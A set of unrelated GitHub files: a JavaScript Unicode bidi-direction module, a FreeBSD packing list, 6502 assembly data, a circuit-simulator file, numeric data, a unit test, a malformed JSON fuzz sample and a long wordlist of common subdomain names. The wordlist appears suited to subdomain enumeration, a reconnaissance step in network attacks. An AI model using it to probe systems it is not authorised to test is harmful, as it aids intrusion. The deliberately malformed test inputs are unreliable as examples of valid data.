'\u03A3-\u03F5\u03F7-\u0481\u0482\u048A-\u052F\u0531-\u0556\u0559' + '\u055A-\u055F\u0561-\u0587\u0589\u0903\u0904-\u0939\u093B\u093D' + '\u093E-\u0940\u0949-\u094C\u094E-\u094F\u0950\u0958-\u0961\u0964-\u0965' + '\u0966-\u096F\u0970\u0971\u0972-\u0980\u0982-\u0983\u0985-\u098C' + '\u098F-\u0990\u0993-\u09A8\u09AA-\u09B0\u09B2\u09B6-\u09B9\u09BD' + '\u09BE-\u09C0\u09C7-\u09C8\u09CB-\u09CC\u09CE\u09D7\u09DC-\u09DD' + '\u09DF-\u09E1\u09E6-\u09EF\u09F0-\u09F1\u09F4-\u09F9\u09FA\u0A03' + '\u0A05-\u0A0A\u0A0F-\u0A10\u0A13-\u0A28\u0A2A-\u0A30\u0A32-\u0A33' + '\u0A35-\u0A36\u0A38-\u0A39\u0A3E-\u0A40\u0A59-\u0A5C\u0A5E\u0A66-\u0A6F' + '\u0A72-\u0A74\u0A83\u0A85-\u0A8D\u0A8F-\u0A91\u0A93-\u0AA8\u0AAA-\u0AB0' + '\u0AB2-\u0AB3\u0AB5-\u0AB9\u0ABD\u0ABE-\u0AC0\u0AC9\u0ACB-\u0ACC\u0AD0' + '\u0AE0-\u0AE1\u0AE6-\u0AEF\u0AF0\u0B02-\u0B03\u0B05-\u0B0C\u0B0F-\u0B10' + '\u0B13-\u0B28\u0B2A-\u0B30\u0B32-\u0B33\u0B35-\u0B39\u0B3D\u0B3E\u0B40' + '\u0B47-\u0B48\u0B4B-\u0B4C\u0B57\u0B5C-\u0B5D\u0B5F-\u0B61\u0B66-\u0B6F' + '\u0B70\u0B71\u0B72-\u0B77\u0B83\u0B85-\u0B8A\u0B8E-\u0B90\u0B92-\u0B95' + '\u0B99-\u0B9A\u0B9C\u0B9E-\u0B9F\u0BA3-\u0BA4\u0BA8-\u0BAA\u0BAE-\u0BB9' + '\u0BBE-\u0BBF\u0BC1-\u0BC2\u0BC6-\u0BC8\u0BCA-\u0BCC\u0BD0\u0BD7' + '\u0BE6-\u0BEF\u0BF0-\u0BF2\u0C01-\u0C03\u0C05-\u0C0C\u0C0E-\u0C10' + '\u0C12-\u0C28\u0C2A-\u0C39\u0C3D\u0C41-\u0C44\u0C58-\u0C59\u0C60-\u0C61' + '\u0C66-\u0C6F\u0C7F\u0C82-\u0C83\u0C85-\u0C8C\u0C8E-\u0C90\u0C92-\u0CA8' + '\u0CAA-\u0CB3\u0CB5-\u0CB9\u0CBD\u0CBE\u0CBF\u0CC0-\u0CC4\u0CC6' + '\u0CC7-\u0CC8\u0CCA-\u0CCB\u0CD5-\u0CD6\u0CDE\u0CE0-\u0CE1\u0CE6-\u0CEF' + '\u0CF1-\u0CF2\u0D02-\u0D03\u0D05-\u0D0C\u0D0E-\u0D10\u0D12-\u0D3A\u0D3D' + '\u0D3E-\u0D40\u0D46-\u0D48\u0D4A-\u0D4C\u0D4E\u0D57\u0D60-\u0D61' + '\u0D66-\u0D6F\u0D70-\u0D75\u0D79\u0D7A-\u0D7F\u0D82-\u0D83\u0D85-\u0D96' + '\u0D9A-\u0DB1\u0DB3-\u0DBB\u0DBD\u0DC0-\u0DC6\u0DCF-\u0DD1\u0DD8-\u0DDF' + '\u0DE6-\u0DEF\u0DF2-\u0DF3\u0DF4\u0E01-\u0E30\u0E32-\u0E33\u0E40-\u0E45' + '\u0E46\u0E4F\u0E50-\u0E59\u0E5A-\u0E5B\u0E81-\u0E82\u0E84\u0E87-\u0E88' + '\u0E8A\u0E8D\u0E94-\u0E97\u0E99-\u0E9F\u0EA1-\u0EA3\u0EA5\u0EA7' + '\u0EAA-\u0EAB\u0EAD-\u0EB0\u0EB2-\u0EB3\u0EBD\u0EC0-\u0EC4\u0EC6' + '\u0ED0-\u0ED9\u0EDC-\u0EDF\u0F00\u0F01-\u0F03\u0F04-\u0F12\u0F13\u0F14' + '\u0F15-\u0F17\u0F1A-\u0F1F\u0F20-\u0F29\u0F2A-\u0F33\u0F34\u0F36\u0F38' + '\u0F3E-\u0F3F\u0F40-\u0F47\u0F49-\u0F6C\u0F7F\u0F85\u0F88-\u0F8C' + '\u0FBE-\u0FC5\u0FC7-\u0FCC\u0FCE-\u0FCF\u0FD0-\u0FD4\u0FD5-\u0FD8' + '\u0FD9-\u0FDA\u1000-\u102A\u102B-\u102C\u1031\u1038\u103B-\u103C\u103F' + '\u1040-\u1049\u104A-\u104F\u1050-\u1055\u1056-\u1057\u105A-\u105D\u1061' + '\u1062-\u1064\u1065-\u1066\u1067-\u106D\u106E-\u1070\u1075-\u1081' + '\u1083-\u1084\u1087-\u108C\u108E\u108F\u1090-\u1099\u109A-\u109C' + '\u109E-\u109F\u10A0-\u10C5\u10C7\u10CD\u10D0-\u10FA\u10FB\u10FC' + '\u10FD-\u1248\u124A-\u124D\u1250-\u1256\u1258\u125A-\u125D\u1260-\u1288' + '\u128A-\u128D\u1290-\u12B0\u12B2-\u12B5\u12B8-\u12BE\u12C0\u12C2-\u12C5' + '\u12C8-\u12D6\u12D8-\u1310\u1312-\u1315\u1318-\u135A\u1360-\u1368' + '\u1369-\u137C\u1380-\u138F\u13A0-\u13F4\u1401-\u166C\u166D-\u166E' + '\u166F-\u167F\u1681-\u169A\u16A0-\u16EA\u16EB-\u16ED\u16EE-\u16F0' + '\u16F1-\u16F8\u1700-\u170C\u170E-\u1711\u1720-\u1731\u1735-\u1736' + '\u1740-\u1751\u1760-\u176C\u176E-\u1770\u1780-\u17B3\u17B6\u17BE-\u17C5' + '\u17C7-\u17C8\u17D4-\u17D6\u17D7\u17D8-\u17DA\u17DC\u17E0-\u17E9' + '\u1810-\u1819\u1820-\u1842\u1843\u1844-\u1877\u1880-\u18A8\u18AA' + '\u18B0-\u18F5\u1900-\u191E\u1923-\u1926\u1929-\u192B\u1930-\u1931' + '\u1933-\u1938\u1946-\u194F\u1950-\u196D\u1970-\u1974\u1980-\u19AB' + '\u19B0-\u19C0\u19C1-\u19C7\u19C8-\u19C9\u19D0-\u19D9\u19DA\u1A00-\u1A16' + '\u1A19-\u1A1A\u1A1E-\u1A1F\u1A20-\u1A54\u1A55\u1A57\u1A61\u1A63-\u1A64' + '\u1A6D-\u1A72\u1A80-\u1A89\u1A90-\u1A99\u1AA0-\u1AA6\u1AA7\u1AA8-\u1AAD' + '\u1B04\u1B05-\u1B33\u1B35\u1B3B\u1B3D-\u1B41\u1B43-\u1B44\u1B45-\u1B4B' + '\u1B50-\u1B59\u1B5A-\u1B60\u1B61-\u1B6A\u1B74-\u1B7C\u1B82\u1B83-\u1BA0' + '\u1BA1\u1BA6-\u1BA7\u1BAA\u1BAE-\u1BAF\u1BB0-\u1BB9\u1BBA-\u1BE5\u1BE7' + '\u1BEA-\u1BEC\u1BEE\u1BF2-\u1BF3\u1BFC-\u1BFF\u1C00-\u1C23\u1C24-\u1C2B' + '\u1C34-\u1C35\u1C3B-\u1C3F\u1C40-\u1C49\u1C4D-\u1C4F\u1C50-\u1C59' + '\u1C5A-\u1C77\u1C78-\u1C7D\u1C7E-\u1C7F\u1CC0-\u1CC7\u1CD3\u1CE1' + '\u1CE9-\u1CEC\u1CEE-\u1CF1\u1CF2-\u1CF3\u1CF5-\u1CF6\u1D00-\u1D2B' + '\u1D2C-\u1D6A\u1D6B-\u1D77\u1D78\u1D79-\u1D9A\u1D9B-\u1DBF\u1E00-\u1F15' + '\u1F18-\u1F1D\u1F20-\u1F45\u1F48-\u1F4D\u1F50-\u1F57\u1F59\u1F5B\u1F5D' + '\u1F5F-\u1F7D\u1F80-\u1FB4\u1FB6-\u1FBC\u1FBE\u1FC2-\u1FC4\u1FC6-\u1FCC' + '\u1FD0-\u1FD3\u1FD6-\u1FDB\u1FE0-\u1FEC\u1FF2-\u1FF4\u1FF6-\u1FFC\u200E' + '\u2071\u207F\u2090-\u209C\u2102\u2107\u210A-\u2113\u2115\u2119-\u211D' + '\u2124\u2126\u2128\u212A-\u212D\u212F-\u2134\u2135-\u2138\u2139' + '\u213C-\u213F\u2145-\u2149\u214E\u214F\u2160-\u2182\u2183-\u2184' + '\u2185-\u2188\u2336-\u237A\u2395\u249C-\u24E9\u26AC\u2800-\u28FF' + '\u2C00-\u2C2E\u2C30-\u2C5E\u2C60-\u2C7B\u2C7C-\u2C7D\u2C7E-\u2CE4' + '\u2CEB-\u2CEE\u2CF2-\u2CF3\u2D00-\u2D25\u2D27\u2D2D\u2D30-\u2D67\u2D6F' + '\u2D70\u2D80-\u2D96\u2DA0-\u2DA6\u2DA8-\u2DAE\u2DB0-\u2DB6\u2DB8-\u2DBE' + '\u2DC0-\u2DC6\u2DC8-\u2DCE\u2DD0-\u2DD6\u2DD8-\u2DDE\u3005\u3006\u3007' + '\u3021-\u3029\u302E-\u302F\u3031-\u3035\u3038-\u303A\u303B\u303C' + '\u3041-\u3096\u309D-\u309E\u309F\u30A1-\u30FA\u30FC-\u30FE\u30FF' + '\u3105-\u312D\u3131-\u318E\u3190-\u3191\u3192-\u3195\u3196-\u319F' + '\u31A0-\u31BA\u31F0-\u31FF\u3200-\u321C\u3220-\u3229\u322A-\u3247' + '\u3248-\u324F\u3260-\u327B\u327F\u3280-\u3289\u328A-\u32B0\u32C0-\u32CB' + '\u32D0-\u32FE\u3300-\u3376\u337B-\u33DD\u33E0-\u33FE\u3400-\u4DB5' + '\u4E00-\u9FCC\uA000-\uA014\uA015\uA016-\uA48C\uA4D0-\uA4F7\uA4F8-\uA4FD' + '\uA4FE-\uA4FF\uA500-\uA60B\uA60C\uA610-\uA61F\uA620-\uA629\uA62A-\uA62B' + '\uA640-\uA66D\uA66E\uA680-\uA69B\uA69C-\uA69D\uA6A0-\uA6E5\uA6E6-\uA6EF' + '\uA6F2-\uA6F7\uA722-\uA76F\uA770\uA771-\uA787\uA789-\uA78A\uA78B-\uA78E' + '\uA790-\uA7AD\uA7B0-\uA7B1\uA7F7\uA7F8-\uA7F9\uA7FA\uA7FB-\uA801' + '\uA803-\uA805\uA807-\uA80A\uA80C-\uA822\uA823-\uA824\uA827\uA830-\uA835' + '\uA836-\uA837\uA840-\uA873\uA880-\uA881\uA882-\uA8B3\uA8B4-\uA8C3' + '\uA8CE-\uA8CF\uA8D0-\uA8D9\uA8F2-\uA8F7\uA8F8-\uA8FA\uA8FB\uA900-\uA909' + '\uA90A-\uA925\uA92E-\uA92F\uA930-\uA946\uA952-\uA953\uA95F\uA960-\uA97C' + '\uA983\uA984-\uA9B2\uA9B4-\uA9B5\uA9BA-\uA9BB\uA9BD-\uA9C0\uA9C1-\uA9CD' + '\uA9CF\uA9D0-\uA9D9\uA9DE-\uA9DF\uA9E0-\uA9E4\uA9E6\uA9E7-\uA9EF' + '\uA9F0-\uA9F9\uA9FA-\uA9FE\uAA00-\uAA28\uAA2F-\uAA30\uAA33-\uAA34' + '\uAA40-\uAA42\uAA44-\uAA4B\uAA4D\uAA50-\uAA59\uAA5C-\uAA5F\uAA60-\uAA6F' + '\uAA70\uAA71-\uAA76\uAA77-\uAA79\uAA7A\uAA7B\uAA7D\uAA7E-\uAAAF\uAAB1' + '\uAAB5-\uAAB6\uAAB9-\uAABD\uAAC0\uAAC2\uAADB-\uAADC\uAADD\uAADE-\uAADF' + '\uAAE0-\uAAEA\uAAEB\uAAEE-\uAAEF\uAAF0-\uAAF1\uAAF2\uAAF3-\uAAF4\uAAF5' + '\uAB01-\uAB06\uAB09-\uAB0E\uAB11-\uAB16\uAB20-\uAB26\uAB28-\uAB2E' + '\uAB30-\uAB5A\uAB5B\uAB5C-\uAB5F\uAB64-\uAB65\uABC0-\uABE2\uABE3-\uABE4' + '\uABE6-\uABE7\uABE9-\uABEA\uABEB\uABEC\uABF0-\uABF9\uAC00-\uD7A3' + '\uD7B0-\uD7C6\uD7CB-\uD7FB\uE000-\uF8FF\uF900-\uFA6D\uFA70-\uFAD9' + '\uFB00-\uFB06\uFB13-\uFB17\uFF21-\uFF3A\uFF41-\uFF5A\uFF66-\uFF6F\uFF70' + '\uFF71-\uFF9D\uFF9E-\uFF9F\uFFA0-\uFFBE\uFFC2-\uFFC7\uFFCA-\uFFCF' + '\uFFD2-\uFFD7\uFFDA-\uFFDC', R: '\u0590\u05BE\u05C0\u05C3\u05C6\u05C8-\u05CF\u05D0-\u05EA\u05EB-\u05EF' + '\u05F0-\u05F2\u05F3-\u05F4\u05F5-\u05FF\u07C0-\u07C9\u07CA-\u07EA' + '\u07F4-\u07F5\u07FA\u07FB-\u07FF\u0800-\u0815\u081A\u0824\u0828' + '\u082E-\u082F\u0830-\u083E\u083F\u0840-\u0858\u085C-\u085D\u085E' + '\u085F-\u089F\u200F\uFB1D\uFB1F-\uFB28\uFB2A-\uFB36\uFB37\uFB38-\uFB3C' + '\uFB3D\uFB3E\uFB3F\uFB40-\uFB41\uFB42\uFB43-\uFB44\uFB45\uFB46-\uFB4F', AL: '\u0608\u060B\u060D\u061B\u061C\u061D\u061E-\u061F\u0620-\u063F\u0640' + '\u0641-\u064A\u066D\u066E-\u066F\u0671-\u06D3\u06D4\u06D5\u06E5-\u06E6' + '\u06EE-\u06EF\u06FA-\u06FC\u06FD-\u06FE\u06FF\u0700-\u070D\u070E\u070F' + '\u0710\u0712-\u072F\u074B-\u074C\u074D-\u07A5\u07B1\u07B2-\u07BF' + '\u08A0-\u08B2\u08B3-\u08E3\uFB50-\uFBB1\uFBB2-\uFBC1\uFBC2-\uFBD2' + '\uFBD3-\uFD3D\uFD40-\uFD4F\uFD50-\uFD8F\uFD90-\uFD91\uFD92-\uFDC7' + '\uFDC8-\uFDCF\uFDF0-\uFDFB\uFDFC\uFDFE-\uFDFF\uFE70-\uFE74\uFE75' + '\uFE76-\uFEFC\uFEFD-\uFEFE' }; var REGEX_STRONG = new RegExp('[' + RANGE_BY_BIDI_TYPE.L + RANGE_BY_BIDI_TYPE.R + RANGE_BY_BIDI_TYPE.AL + ']'); var REGEX_RTL = new RegExp('[' + RANGE_BY_BIDI_TYPE.R + RANGE_BY_BIDI_TYPE.AL + ']'); /** * Returns the first strong character (has Bidi_Class value of L, R, or AL). * * @param str A text block; e.g. paragraph, table cell, tag * @return A character with strong bidi direction, or null if not found */ function firstStrongChar(str) { var match = REGEX_STRONG.exec(str); return match == null ? null : match[0]; } /** * Returns the direction of a block of text, based on the direction of its * first strong character (has Bidi_Class value of L, R, or AL). * * @param str A text block; e.g. paragraph, table cell, tag * @return The resolved direction */ function firstStrongCharDir(str) { var strongChar = firstStrongChar(str); if (strongChar == null) { return UnicodeBidiDirection.NEUTRAL; } return REGEX_RTL.exec(strongChar) ? UnicodeBidiDirection.RTL : UnicodeBidiDirection.LTR; } /** * Returns the direction of a block of text, based on the direction of its * first strong character (has Bidi_Class value of L, R, or AL), or a fallback * direction, if no strong character is found. * * This function is supposed to be used in respect to Higher-Level Protocol * rule HL1. (http://www.unicode.org/reports/tr9/#HL1) * * @param str A text block; e.g. paragraph, table cell, tag * @param fallback Fallback direction, used if no strong direction detected * for the block (default = NEUTRAL) * @return The resolved direction */ function resolveBlockDir(str, fallback) { fallback = fallback || UnicodeBidiDirection.NEUTRAL; if (!str.length) { return fallback; } var blockDir = firstStrongCharDir(str); return blockDir === UnicodeBidiDirection.NEUTRAL ? fallback : blockDir; } /** * Returns the direction of a block of text, based on the direction of its * first strong character (has Bidi_Class value of L, R, or AL), or a fallback * direction, if no strong character is found. * * NOTE: This function is similar to resolveBlockDir(), but uses the global * direction as the fallback, so it *always* returns a Strong direction, * making it useful for integration in places that you need to make the final * decision, like setting some CSS class. * * This function is supposed to be used in respect to Higher-Level Protocol * rule HL1. (http://www.unicode.org/reports/tr9/#HL1) * * @param str A text block; e.g. paragraph, table cell * @param strongFallback Fallback direction, used if no strong direction * detected for the block (default = global direction) * @return The resolved Strong direction */ function getDirection(str, strongFallback) { if (!strongFallback) { strongFallback = UnicodeBidiDirection.getGlobalDir(); } !UnicodeBidiDirection.isStrong(strongFallback) ? process.env.NODE_ENV !== 'production' ? invariant(false, 'Fallback direction must be a strong direction') : invariant(false) : void 0; return resolveBlockDir(str, strongFallback); } /** * Returns true if getDirection(arguments...) returns LTR. * * @param str A text block; e.g. paragraph, table cell * @param strongFallback Fallback direction, used if no strong direction * detected for the block (default = global direction) * @return True if the resolved direction is LTR */ function isDirectionLTR(str, strongFallback) { return getDirection(str, strongFallback) === UnicodeBidiDirection.LTR; } /** * Returns true if getDirection(arguments...) returns RTL. * * @param str A text block; e.g. paragraph, table cell * @param strongFallback Fallback direction, used if no strong direction * detected for the block (default = global direction) * @return True if the resolved direction is RTL */ function isDirectionRTL(str, strongFallback) { return getDirection(str, strongFallback) === UnicodeBidiDirection.RTL; } var UnicodeBidi = { firstStrongChar: firstStrongChar, firstStrongCharDir: firstStrongCharDir, resolveBlockDir: resolveBlockDir, getDirection: getDirection, isDirectionLTR: isDirectionLTR, isDirectionRTL: isDirectionRTL }; module.exports = UnicodeBidi;
{ "pile_set_name": "Github" }
bin/tint2 bin/tint2conf etc/xdg/tint2/tint2rc man/man1/tint2.1.gz share/applications/tint2.desktop share/applications/tint2conf.desktop %%PORTDOCS%%%%DOCSDIR%%/AUTHORS %%PORTDOCS%%%%DOCSDIR%%/ChangeLog %%PORTDOCS%%%%DOCSDIR%%/README.md %%PORTDOCS%%%%DOCSDIR%%/html/images/panel_padding.jpg %%PORTDOCS%%%%DOCSDIR%%/html/images/panel_size_margin.jpg %%PORTDOCS%%%%DOCSDIR%%/html/images/task_padding.jpg %%PORTDOCS%%%%DOCSDIR%%/html/images/taskbar_padding.jpg %%PORTDOCS%%%%DOCSDIR%%/html/manual.html %%PORTDOCS%%%%DOCSDIR%%/html/readme.html %%PORTDOCS%%%%DOCSDIR%%/tint2.md share/icons/hicolor/scalable/apps/tint2.svg share/icons/hicolor/scalable/apps/tint2conf.svg %%NLS%%share/locale/bs/LC_MESSAGES/tint2conf.mo %%NLS%%share/locale/es/LC_MESSAGES/tint2conf.mo %%NLS%%share/locale/fr/LC_MESSAGES/tint2conf.mo %%NLS%%share/locale/hr/LC_MESSAGES/tint2conf.mo %%NLS%%share/locale/pl/LC_MESSAGES/tint2conf.mo %%NLS%%share/locale/ru/LC_MESSAGES/tint2conf.mo %%NLS%%share/locale/sr/LC_MESSAGES/tint2conf.mo share/mime/packages/tint2conf.xml %%DATADIR%%/default_icon.png %%DATADIR%%/horizontal-dark-opaque.tint2rc %%DATADIR%%/horizontal-dark-transparent.tint2rc %%DATADIR%%/horizontal-icon-only.tint2rc %%DATADIR%%/horizontal-light-opaque.tint2rc %%DATADIR%%/horizontal-light-transparent.tint2rc %%DATADIR%%/horizontal-text-only.tint2rc %%DATADIR%%/vertical-dark-opaque.tint2rc %%DATADIR%%/vertical-dark-transparent.tint2rc %%DATADIR%%/vertical-light-opaque.tint2rc %%DATADIR%%/vertical-light-transparent.tint2rc %%DATADIR%%/vertical-neutral-icons.tint2rc
{ "pile_set_name": "Github" }
.BYT $EF,$A1 ;ALL OF THIS IS AVAILABLE FOR PATCH SPACE .BYT $DF,$A6 .BYT $E1,$B1 .BYT $E2,$B2 .BYT $E3,$B3 .BYT $E4,$B4 .BYT $E5,$B5 .BYT $E6,$B6 .BYT $E7,$B7 .BYT $E8,$B8 .BYT $E9,$B9 .BYT $FA,$BA .BYT $FB,$BB .BYT $FC,$BC .BYT $EC,$BD .BYT $FE,$BE .BYT $84,$BF .BYT $F7,$C0 .BYT $F8,$DB .BYT $F9,$DD .BYT $EA,$DE UNKAT .BYT $5E,$E0 ;E0-E2 SPECIAL CONVERSION CODES .BYT $5B,$E1 .BYT $5D,$E2 .BYT $40,$B0 .BYT $61,$B1 ;UNCONVERSION .BYT $78,$DB .BYT $79,$DD .BYT $66,$B6 .BYT $77,$C0 .BYT $70,$F0 .BYT $71,$F1 .BYT $72,$F2 .BYT $73,$F3 .BYT $74,$F4 .BYT $75,$F5 .BYT $76,$F6 .BYT $7D,$FD .END
{ "pile_set_name": "Github" }
www mail remote blog webmail server ns1 ns2 smtp secure vpn m shop ftp mail2 test portal ns ww1 host support dev web bbs ww42 mx email cloud 1 mail1 2 forum owa www2 gw admin store mx1 cdn api exchange app gov 2tty vps govyty hgfgdf news 1rer lkjkui hfgfgf yty lkljk server1 zcvbnnn dsasa my demo tgrrre home wxsxc static tgtggb staging oilkjm wqwqw mkuu iuyuy rerew iuyuyt khjghg qwqee mx2 qwrer mjurr qwqwq office ssl intranet media sip mobile wiki autodiscover login en beta gateway ns3 images apps citrix baidu mta o1 mail3 wwww img start info stats dns1 www1 new router dns crm dns2 web1 git s1 de connect extranet members access help smtp2 stage video a host2 fw files proxy search server2 online smtp1 owncloud moodle us mailhost service fr 3 www3 ns4 51 imap s pop db services 5 forums old host1 ts 4 es svn backup srv cp srv1 helpdesk gate i mail4 cn 48 correo 7 mx3 relay web2 8 49 data 14 chat mail01 69 qa 6 9 71 85 hosting e 96 70 it 79 13 20 net 10 54 68 84 88 93 99 js 19 98 mailserve vdi server4 work sales ra vm a3 cd sentry d1 v2 ex mailout map db2 pc5 mail10 im design smtp4 dd f1 cf l saturn booking research idp mta3 speedtest webconf track test2 maps club w3 3g h be auto desktop k int u vm1 titan doc vps2 eu lms c2 m2 lb 251 user play china e1 control time st img1 jenkins app1 testing ds au test1 do transfer portfolio shopping alumni a4 smtp01 ce free finance zabbix e0 reservations pc6 d2 tr ns6 z learn edge j thor cache a5 downloads student labs bd b2 mailgw tracker traveler webmail2 ps system n baijiale videos host20 host15 ae servidor mx0 ee sql virtual team athena web4 dialin se pm cb myaccount c3 aa ns02 host17 kb ag a6 update as payment ir img2 f2 s5 orders galleries ticket mta4 a7 hub sw1 delta promo pc affiliate users webservices health redirect host18 cgi rdp webapps host19 payments bocaiwang terminal com console mx8 ba co pm04-1 fa aws rss node1 mail8 radius global d4 pm03-1 rd sa ip2 host16 ttyulecheng accounts ab apply mirror d3 mx7 about host22 adm b3 host21 host23 c4 a0 o manager d7 art red cacti ea mm tracking mail03 taiyangchengyulecheng server5 mailing campus hwmaint f3 v1 jabber meeting webshop csg w1 security host26 is mta5 d5 blue sports school corporate streaming ws1 iris ip1 checkout pages ed br af 3d fe d6 pic one domains y e3 chef affiliates r1 mon contact dev2 s0 bi sun res
{ "pile_set_name": "Github" }
#unittest { name: "Big list/map."; error: NONE; result: 275; }; func main() { // MAxFLUSH set to 64 var a1 = [1,2,3]; var a2 = [1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8,1,2,3,4,5,67777777777777777777773,4,5,6,7,8,1,2,3,4,5,6,720,30,1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8,1,2,3,4,5,6,7,8,10,20,30,666]; var a3 = ["k1":1,"k2":2?"k3":3,"k4":4,"k5":5,"k6":6,"k7":7,"k8":8,"k9":9]; return a1.count + a2.count + a3.count; }
{ "pile_set_name": "Github" }
1 2 0 4 1 4 0 22 3 9 15 0 3 3 1 0 0 0 1 0 2 0 1 0 0 0 0 0 1 0 0 3 4 6 2 9 4 2 0 0 3 3 0 0 2 0 0 1 1 4 0 0 0 1 0 5 4 0 1 1 14 5 3 5 1 1 1 3 1 0 0 2 0 1 3 1 4 0 1 5 3 0 0 3 0 1 1 4 3 3 3 1 0 3 2 1 0 1 0 1 0 1 7 0 0 2 3 0 2 5 3 3 0 0 0 1 2 1 0 1 0 0 1 5 1 0 0 2 1 1 6 10 1 3 0 0 0 1 10 1 0 3 0 2 0 5 2 3 0 1 0 0 3 1 1 0 0 3 0 0 0 4 1 4 3 2 1 3 0 0 4 2 0 3 2 0 0 1 0 0 0 8 0 0 3 0 4 1 2 3 1 0 1 0 3 1 3 0 1 1 0 0 3 1 1 2 3 3 0 3 1 1 1 1 1 0 2 1 11 1 4 0 5 0 1 5 1 1 14 0 1 1 4 2 2 0 4 1 2 19 0 4 1 5 1 0 0 1 4 0 4 1 1 1 0 0 3 5 0 1 9 0 7 0 0 1 3 0 0 1 5 0 0 4 5 1 0 0 0 0 5 1 1 4 5 3 1 1
{ "pile_set_name": "Github" }
$ 3 0.0012 3.9121283998153213 50 5 50 163 296 336 320 336 1 10 0 0 0 0 0 0 0 0 0 0 R 456 368 456 392 0 0 40 5 0 0 0.5 152 336 296 336 232 1 4 0 5 w 320 296 312 296 0 w 312 296 312 320 0 w 328 296 328 320 0 w 344 296 344 320 0 w 352 296 360 296 0 w 360 296 360 320 0 w 408 296 408 320 0 w 424 296 424 320 0 w 400 296 392 296 0 w 392 296 392 320 0 w 432 296 440 296 0 w 440 296 440 320 0 152 416 296 416 232 1 4 0 5 162 480 88 528 88 2 old-default-led 1 0 0 0.01 162 480 120 528 120 2 old-default-led 1 1 0 0.01 162 480 152 528 152 2 old-default-led 0 1 0 0.01 w 376 320 376 216 0 162 304 88 256 88 2 old-default-led 1 0 0 0.01 162 304 120 256 120 2 old-default-led 1 1 0 0.01 162 304 152 256 152 2 old-default-led 0 1 0 0.01 w 336 232 336 152 0 w 456 320 456 120 0 w 456 120 480 120 0 w 416 232 416 152 0 w 416 152 480 152 0 w 416 96 416 152 0 w 416 80 432 80 0 w 432 80 432 120 0 w 432 120 456 120 0 w 336 152 336 40 0 w 360 88 304 88 0 w 376 216 352 216 0 w 336 152 304 152 0 w 352 216 352 120 0 w 352 120 304 120 0 w 352 120 352 56 0 152 352 48 480 48 1 2 0 5 w 336 40 352 40 0 w 480 48 480 88 0 w 528 88 528 120 0 w 528 120 528 152 0 w 256 88 256 120 0 w 256 120 256 152 0 r 528 152 528 216 0 200 r 256 152 256 216 0 200 g 256 216 256 232 0 g 528 216 528 232 0 152 416 88 360 88 1 2 0 5 R 152 176 152 136 0 0 40 5 0 0 0.5 w 152 176 64 176 0 r 64 240 64 304 0 47000 r 64 176 64 240 0 10000 w 216 272 216 352 0 w 216 352 296 352 0 165 88 208 152 208 4 0 w 64 304 64 336 0 c 64 336 64 368 0 0.000009999999999999999 0.001 g 64 368 64 384 0 w 64 240 88 240 0 w 64 304 88 304 0 w 64 336 88 336 0 w 152 176 216 176 0 w 216 176 216 240 0 g 184 368 184 376 0
{ "pile_set_name": "Github" }
{ "a": "b", "bccccccccccccccccccccccccccccccccccccccnd35Z<b3_{72 tt\u00335Z\b333333Zt\u0333_\b333ccccccccccccccccccccccccccccccccccccccccccccccccccccccccnd35Z<b3_{72 tt\u00335Z\b333333Z5Z\b333333Zt\u0333_c": true, "obccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc": true, "ob3Zt\u0333_\b333\u00335Z\b333333j": { "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccndN5Z<b3_{72 tt\u00335Z\b333333Zt\u0333_\b333\u00335Z\b333333Zt\u0333_c": true, "obcccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc\u00335Z\b333333Zt\u0333_c": true, "obcccccccccccccccccccccccccccccccccccccccccccccc]cccccccccccccccccGccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc}ccccccccccccccccccccccccccccccccccccc|
{ "pile_set_name": "Github" }
4 2 2 0 6 8 15 7 6 2 4 4 6 4 0 4 8 4 6 4 8 2 89 4 2 6 4 2 2 2 13 6 6 6 2 2 23 10 8 4 2 4 29 2 4 2 8 0 0 0 21 0 6 5 0 0 2 2 2 8 0 0 0 4 0 0 0 20 2 0 0 0 19 0 2 10 0 0 0 0 2 0 2 21 7 0 0 6 0 0 2 8 2 10 23 0 4 2 2 0 0 8 2 0 0 0 0 0 9 2 6 0 6 0 6 0 6 4 2 2 2 2 2 0 6 0 0 4 4 0 0 21 10 0 4 0 0 0 0 0 0 4 23 0 85 0 20 0 2 0 2 0 2 10 2 2 2 23 27 8 2 2 0 4 6 0 0 2 2 0 6 0 0 2 0 10 8 0 8 4 0 96 0 4 2 6 4 4 2 9 4 4 0 2 2 0 0 0 2 8 0 0 0 2 2 4 2 2 2 0 2 6 0 2 0 4 0 6 8 10 8 8 0 27 24 4 0 0 9 4 5 5 2 2 6 4 2 2 2 2 6 21 0 2 2 0 8 6 0 6 2 6 6 2 4 8 0 6 2 4 8 8 0 2 2 8 0 0 2 10 6 4 4 8 6 6 0 2 0 2 2 4 78 2 0 0 0 7
{ "pile_set_name": "Github" }
